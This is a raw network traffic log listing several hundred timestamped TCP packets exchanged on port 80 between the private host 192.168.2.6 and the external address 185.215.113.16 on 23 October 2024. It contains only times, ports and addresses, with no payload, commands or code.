Oct 23, 2024 17:51:41.392889977 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.392915010 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.467984915 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.468029976 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.468086958 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.468125105 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.468127966 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.468159914 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.468164921 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.468199015 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.468208075 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.468296051 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.468350887 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.468503952 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.468553066 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.468559027 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.468605995 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.468612909 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.468647003 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.468660116 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.468684912 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.468703985 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.468739033 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.468754053 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.468785048 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.468794107 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.468846083 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.468848944 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.468883038 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.468894958 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.468918085 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.468931913 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.468964100 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.468971968 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.469006062 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.469017029 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.469046116 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.469059944 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.469108105 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.469127893 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.469176054 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.469182014 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.469248056 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.469254017 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.469290972 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.469301939 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.469326019 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.469332933 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.469360113 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.469371080 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.469394922 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.469408989 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.469429970 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.469436884 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.469464064 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.469480038 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.469500065 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.469548941 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.469557047 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.469590902 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.469593048 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.469624996 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.469635010 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.469660044 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.469693899 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.469708920 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.469739914 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.469747066 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.469779968 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.469790936 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.469825983 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.469834089 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.469868898 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.469881058 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.469902992 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.469907045 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.469942093 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.469955921 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.469995022 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.470005035 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.470032930 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.470053911 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.470102072 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.470108032 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.470143080 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.470155001 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.470189095 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.470206976 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.470252991 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.470259905 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.470309973 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.470313072 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.470359087 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.470366955 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.470403910 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.470412016 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.470444918 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.470454931 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.470504045 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.470510960 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.470557928 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.470563889 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.470612049 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.470618010 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.470652103 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.470664978 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.470685959 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.470696926 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.470825911 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.470829010 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.470864058 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.470865011 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.470901012 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.470910072 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.470953941 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.470956087 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.470987082 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.471000910 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.471031904 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.471044064 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.471093893 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.471096039 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.471133947 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.471148968 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.471198082 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.471204996 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.471251965 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.471257925 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.471292019 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.471304893 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.471354961 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.471388102 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.471435070 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.471448898 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.471498966 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.471507072 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.471560955 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.471563101 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.471610069 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.471616983 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.471651077 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.471663952 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.471687078 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.471694946 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.471719980 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.471729994 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.471766949 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.471797943 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.471832037 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.471848011 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.471873045 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.471889019 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.471924067 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.471937895 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.471959114 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.471966982 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.471992970 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.472012043 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.472028971 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.472043991 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.472064018 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.472078085 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.472098112 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.472106934 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.472127914 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.472141981 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.472177029 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.472181082 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.472218037 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.472234964 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.472280979 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.472287893 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.472322941 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.472333908 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.472362041 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.472362995 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.472399950 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.472415924 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.472459078 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.472469091 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.472518921 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.472522020 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.472556114 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.472573042 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.472589970 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.472598076 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.472624063 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.472628117 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.472659111 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.472661972 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.472696066 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.472706079 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.472731113 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.472732067 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.472764015 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.472768068 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.472800016 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.472829103 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.472841978 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.472850084 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.472878933 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.472886086 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.472913027 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.472917080 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.472946882 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.472958088 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.472980976 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.472990036 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.473016024 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.473020077 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.473050117 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.473062992 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.473083019 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.473092079 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.473117113 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.473150015 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.473165989 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.473181009 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.473192930 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.473213911 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.473227024 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.473252058 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.473258018 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.473284960 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.473292112 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.473319054 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.473324060 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.473351002 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.473359108 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.473386049 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.473412037 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.473414898 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.473428965 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.473447084 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.473453045 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.473480940 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.473481894 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.473515034 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.473526001 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.473550081 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.473576069 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.473582983 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.473592997 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.473617077 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.473627090 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.473645926 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.473680019 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.473690033 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.473715067 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.473721027 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.473748922 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.473762989 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.473782063 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.473797083 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.473824024 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.473824024 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.473860979 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.473869085 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.473893881 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.473906040 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.473927975 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.473942041 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.473962069 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.473970890 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.473995924 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.473999023 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.474029064 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.474040985 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.474061966 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.474071026 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.474095106 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.474106073 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.474128962 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.474136114 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.474160910 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.474173069 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.474195004 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.474201918 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.474227905 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.474241972 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.474261999 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.474276066 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.474294901 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.474306107 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.474329948 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.474337101 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.474364042 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.474366903 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.474397898 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.474409103 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.474435091 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.474462032 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.474467993 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.474478960 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.474500895 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.474513054 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.474534988 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.474550962 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.474567890 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.474579096 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.474601984 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.474602938 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.474633932 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.474638939 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.474668026 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.474679947 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.474699974 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.474735975 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.474742889 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.474770069 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.474783897 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.474803925 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.474809885 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.474838972 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.474844933 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.474873066 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.474881887 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.474905968 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.474932909 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.474939108 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.474946976 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.474972010 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.474998951 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.475004911 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.475008965 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.475038052 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.475047112 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.475070953 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.475075960 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.475110054 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.475117922 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.475142956 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.475172043 CEST	49868	80	192.168.2.6	185.215.113.16
